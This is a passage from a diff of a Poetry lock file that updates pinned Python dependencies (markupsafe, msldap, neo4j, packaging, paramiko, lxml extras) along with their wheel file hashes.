"lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8fffc08de02071c37865a155e5ea5fce0282e1546fd5bde7f6149fcaa32558ac"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4b0d5cdba1b655d5b18042ac9c9ff50bda33568eb80feaaca4fc237b9c4fbfde"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3031e4c16b59424e8d78522c69b062d301d951dc55ad8685736c3335a97fc270"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb659702a45136c743bc130760c6f137870d4df3a9e14386478b8a0511abcfca"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a11b16a33656ffc43c92a5343a28dc71eefe460bcc2a4923a96f292692709f6"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c5ae125276f254b01daa73e2c103363d3e99e3e10505686ac7d9d2442dd4627a"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c76722b5ed4a31ba103e0dc77ab869222ec36efe1a614e42e9bcea88a36186fe"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:33e06717c00c788ab4e79bc4726ecc50c54b9bfb55355eae21473c145d83c2d2"}, + {file = "lxml-5.3.1.tar.gz", hash = "sha256:106b7b5d2977b339f1e97efe2778e2ab20e99994cbb0ec5e55771ed0795920c8"}, ] [package.extras] cssselect = ["cssselect (>=0.7)"] -html-clean = ["lxml-html-clean"] +html-clean = ["lxml_html_clean"] html5 = ["html5lib"] htmlsoup = ["BeautifulSoup4"] -source = ["Cython (>=3.0.11)"] +source = ["Cython (>=3.0.11,<3.1.0)"] [[package]] name = "markdown-it-py" @@ -1247,73 +1230,73 @@ testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] [[package]] name = "markupsafe" -version = "3.0.1" +version = "3.0.2" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:db842712984e91707437461930e6011e60b39136c7331e971952bb30465bc1a1"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3ffb4a8e7d46ed96ae48805746755fadd0909fea2306f93d5d8233ba23dda12a"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67c519635a4f64e495c50e3107d9b4075aec33634272b5db1cde839e07367589"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48488d999ed50ba8d38c581d67e496f955821dc183883550a6fbc7f1aefdc170"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f31ae06f1328595d762c9a2bf29dafd8621c7d3adc130cbb46278079758779ca"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:80fcbf3add8790caddfab6764bde258b5d09aefbe9169c183f88a7410f0f6dea"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3341c043c37d78cc5ae6e3e305e988532b072329639007fd408a476642a89fd6"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cb53e2a99df28eee3b5f4fea166020d3ef9116fdc5764bc5117486e6d1211b25"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-win32.whl", hash = "sha256:db15ce28e1e127a0013dfb8ac243a8e392db8c61eae113337536edb28bdc1f97"}, - {file = "MarkupSafe-3.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:4ffaaac913c3f7345579db4f33b0020db693f302ca5137f106060316761beea9"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:26627785a54a947f6d7336ce5963569b5d75614619e75193bdb4e06e21d447ad"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b954093679d5750495725ea6f88409946d69cfb25ea7b4c846eef5044194f583"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:973a371a55ce9ed333a3a0f8e0bcfae9e0d637711534bcb11e130af2ab9334e7"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:244dbe463d5fb6d7ce161301a03a6fe744dac9072328ba9fc82289238582697b"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d98e66a24497637dd31ccab090b34392dddb1f2f811c4b4cd80c230205c074a3"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ad91738f14eb8da0ff82f2acd0098b6257621410dcbd4df20aaa5b4233d75a50"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7044312a928a66a4c2a22644147bc61a199c1709712069a344a3fb5cfcf16915"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a4792d3b3a6dfafefdf8e937f14906a51bd27025a36f4b188728a73382231d91"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-win32.whl", hash = "sha256:fa7d686ed9883f3d664d39d5a8e74d3c5f63e603c2e3ff0abcba23eac6542635"}, - {file = "MarkupSafe-3.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:9ba25a71ebf05b9bb0e2ae99f8bc08a07ee8e98c612175087112656ca0f5c8bf"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:8ae369e84466aa70f3154ee23c1451fda10a8ee1b63923ce76667e3077f2b0c4"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40f1e10d51c92859765522cbd79c5c8989f40f0419614bcdc5015e7b6bf97fc5"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a4cb365cb49b750bdb60b846b0c0bc49ed62e59a76635095a179d440540c346"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee3941769bd2522fe39222206f6dd97ae83c442a94c90f2b7a25d847d40f4729"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62fada2c942702ef8952754abfc1a9f7658a4d5460fabe95ac7ec2cbe0d02abc"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4c2d64fdba74ad16138300815cfdc6ab2f4647e23ced81f59e940d7d4a1469d9"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:fb532dd9900381d2e8f48172ddc5a59db4c445a11b9fab40b3b786da40d3b56b"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0f84af7e813784feb4d5e4ff7db633aba6c8ca64a833f61d8e4eade234ef0c38"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-win32.whl", hash = "sha256:cbf445eb5628981a80f54087f9acdbf84f9b7d862756110d172993b9a5ae81aa"}, - {file = "MarkupSafe-3.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:a10860e00ded1dd0a65b83e717af28845bb7bd16d8ace40fe5531491de76b79f"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e81c52638315ff4ac1b533d427f50bc0afc746deb949210bc85f05d4f15fd772"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:312387403cd40699ab91d50735ea7a507b788091c416dd007eac54434aee51da"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2ae99f31f47d849758a687102afdd05bd3d3ff7dbab0a8f1587981b58a76152a"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c97ff7fedf56d86bae92fa0a646ce1a0ec7509a7578e1ed238731ba13aabcd1c"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7420ceda262dbb4b8d839a4ec63d61c261e4e77677ed7c66c99f4e7cb5030dd"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:45d42d132cff577c92bfba536aefcfea7e26efb975bd455db4e6602f5c9f45e7"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4c8817557d0de9349109acb38b9dd570b03cc5014e8aabf1cbddc6e81005becd"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6a54c43d3ec4cf2a39f4387ad044221c66a376e58c0d0e971d47c475ba79c6b5"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-win32.whl", hash = "sha256:c91b394f7601438ff79a4b93d16be92f216adb57d813a78be4446fe0f6bc2d8c"}, - {file = "MarkupSafe-3.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:fe32482b37b4b00c7a52a07211b479653b7fe4f22b2e481b9a9b099d8a430f2f"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:17b2aea42a7280db02ac644db1d634ad47dcc96faf38ab304fe26ba2680d359a"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:852dc840f6d7c985603e60b5deaae1d89c56cb038b577f6b5b8c808c97580f1d"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0778de17cff1acaeccc3ff30cd99a3fd5c50fc58ad3d6c0e0c4c58092b859396"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:800100d45176652ded796134277ecb13640c1a537cad3b8b53da45aa96330453"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d06b24c686a34c86c8c1fba923181eae6b10565e4d80bdd7bc1c8e2f11247aa4"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:33d1c36b90e570ba7785dacd1faaf091203d9942bc036118fab8110a401eb1a8"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:beeebf760a9c1f4c07ef6a53465e8cfa776ea6a2021eda0d0417ec41043fe984"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:bbde71a705f8e9e4c3e9e33db69341d040c827c7afa6789b14c6e16776074f5a"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-win32.whl", hash = "sha256:82b5dba6eb1bcc29cc305a18a3c5365d2af06ee71b123216416f7e20d2a84e5b"}, - {file = "MarkupSafe-3.0.1-cp313-cp313t-win_amd64.whl", hash = "sha256:730d86af59e0e43ce277bb83970530dd223bf7f2a838e086b50affa6ec5f9295"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:4935dd7883f1d50e2ffecca0aa33dc1946a94c8f3fdafb8df5c330e48f71b132"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e9393357f19954248b00bed7c56f29a25c930593a77630c719653d51e7669c2a"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40621d60d0e58aa573b68ac5e2d6b20d44392878e0bfc159012a5787c4e35bc8"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f94190df587738280d544971500b9cafc9b950d32efcb1fba9ac10d84e6aa4e6"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b6a387d61fe41cdf7ea95b38e9af11cfb1a63499af2759444b99185c4ab33f5b"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8ad4ad1429cd4f315f32ef263c1342166695fad76c100c5d979c45d5570ed58b"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:e24bfe89c6ac4c31792793ad9f861b8f6dc4546ac6dc8f1c9083c7c4f2b335cd"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2a4b34a8d14649315c4bc26bbfa352663eb51d146e35eef231dd739d54a5430a"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-win32.whl", hash = "sha256:242d6860f1fd9191aef5fae22b51c5c19767f93fb9ead4d21924e0bcb17619d8"}, - {file = "MarkupSafe-3.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:93e8248d650e7e9d49e8251f883eed60ecbc0e8ffd6349e18550925e31bd029b"}, - {file = "markupsafe-3.0.1.tar.gz", hash = "sha256:3e683ee4f5d0fa2dde4db77ed8dd8a876686e3fc417655c2ece9a90576905344"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, + {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, ] [[package]] @@ -1467,14 +1450,14 @@ files = [ [[package]] name = "msldap" -version = "0.5.12" +version = "0.5.14" description = "Python library to play with MS LDAP" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "msldap-0.5.12-py3-none-any.whl", hash = "sha256:8569324aa1fe3ce5312f58dd27f2dc4357b0dfd9cd450f2efd27e6b54ace3bd0"}, - {file = "msldap-0.5.12.tar.gz", hash = "sha256:44a2a3d2850f925e50b6b82d4515c74ceea548b7c1fc4d3d0d3f6df65a0cc540"}, + {file = "msldap-0.5.14-py3-none-any.whl", hash = "sha256:5f04edf85323d816d57adb1793a3d3c2784dd20174888304103731c7289e1490"}, + {file = "msldap-0.5.14.tar.gz", hash = "sha256:66f3cb68efe000b221a88cec3faf3b1119a4911b101838839a116ccd15fb6254"}, ] [package.dependencies] @@ -1490,22 +1473,22 @@ winacl = ">=0.1.8" [[package]] name = "neo4j" -version = "5.25.0" +version = "5.28.1" description = "Neo4j Bolt driver for Python" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "neo4j-5.25.0-py3-none-any.whl", hash = "sha256:df310eee9a4f9749fb32bb9f1aa68711ac417b7eba3e42faefd6848038345ffa"}, - {file = "neo4j-5.25.0.tar.gz", hash = "sha256:7c82001c45319092cc0b5df4c92894553b7ab97bd4f59655156fa9acab83aec9"}, + {file = "neo4j-5.28.1-py3-none-any.whl", hash = "sha256:6755ef9e5f4e14b403aef1138fb6315b120631a0075c138b5ddb2a06b87b09fd"}, + {file = "neo4j-5.28.1.tar.gz", hash = "sha256:ae8e37a1d895099062c75bc359b2cce62099baac7be768d0eba7180c1298e214"}, ] [package.dependencies] pytz = "*" [package.extras] -numpy = ["numpy (>=1.7.0,<2.0.0)"] -pandas = ["numpy (>=1.7.0,<2.0.0)", "pandas (>=1.1.0,<3.0.0)"] +numpy = ["numpy (>=1.7.0,<3.0.0)"] +pandas = ["numpy (>=1.7.0,<3.0.0)", "pandas (>=1.1.0,<3.0.0)"] pyarrow = ["pyarrow (>=1.0.0)"] [[package]] @@ -1544,26 +1527,26 @@ resolved_reference = "1547f535001ba568b239b8797465536759c742a3" [[package]] name = "packaging" -version = "24.1" +version = "24.2" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" groups = ["main", "dev"] files = [ - {file = "packaging-24.1-py3-none-any.whl", hash = "sha256:5b8f2217dbdbd2f7f384c41c628544e6d52f2d0f53c6d0c3ea61aa5d1d7ff124"}, - {file = "packaging-24.1.tar.gz", hash = "sha256:026ed72c8ed3fcce5bf8950572258698927fd1dbda10a5e981cdf0ac37f4f002"}, + {file = "packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"}, + {file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"}, ] [[package]] name = "paramiko" -version = "3.5.0" +version = "3.5.1" description = "SSH2 protocol library" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "paramiko-3.5.0-py3-none-any.whl", hash = "sha256:1fedf06b085359051cd7d0d270cebe19e755a8a921cc2ddbfa647fb0cd7d68f9"}, - {file = "paramiko-3.5.0.tar.gz", hash = "sha256:ad11e540da4f55cedda52931f1a3f812a8238a7af7f62a60de538cd80bb28124"}, + {file = "paramiko-3.5.1-py3-none-any.whl", hash = 